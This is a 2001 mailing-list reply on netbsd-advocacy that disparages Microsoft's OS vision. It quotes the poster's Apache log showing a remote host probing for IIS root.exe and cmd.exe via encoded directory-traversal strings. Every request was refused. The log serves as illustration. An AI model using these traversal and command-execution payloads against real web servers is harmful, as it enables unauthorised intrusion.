Subject: Re: MS's OS Vision
To: Mike Cheponis <mac@Wireless.Com>
From: Rick Kelly <rmk@toad.rmkhome.com>
List: netbsd-advocacy
Date: 09/22/2001 00:52:11
Mike Cheponis said:

>This paper is very interesting (mentioned on slashdot today) and is, I
>hope, the direction that NetBSD will also go over this coming decade.  -Mike

>http://research.microsoft.com/research/sn/Millennium/mgoals.html

I wouldn't want to run an OS that tries to control all the computers
it can reach. Bill Gates wants 1984-like control over all the worlds
information.

As I look in my Apache logs today I see this as the future of Microsoft:

host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:08 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:09 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:10 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:10 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:11 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:12 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:12 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:13 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:14 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:15 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:15 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:16 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:17 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:17 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:22 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
host-216-153-165-72.choiceone.net - - [22/Sep/2001:00:44:22 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

My resources are my resources.

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Rick Kelly  rmk@rmkhome.com  www.rmkhome.com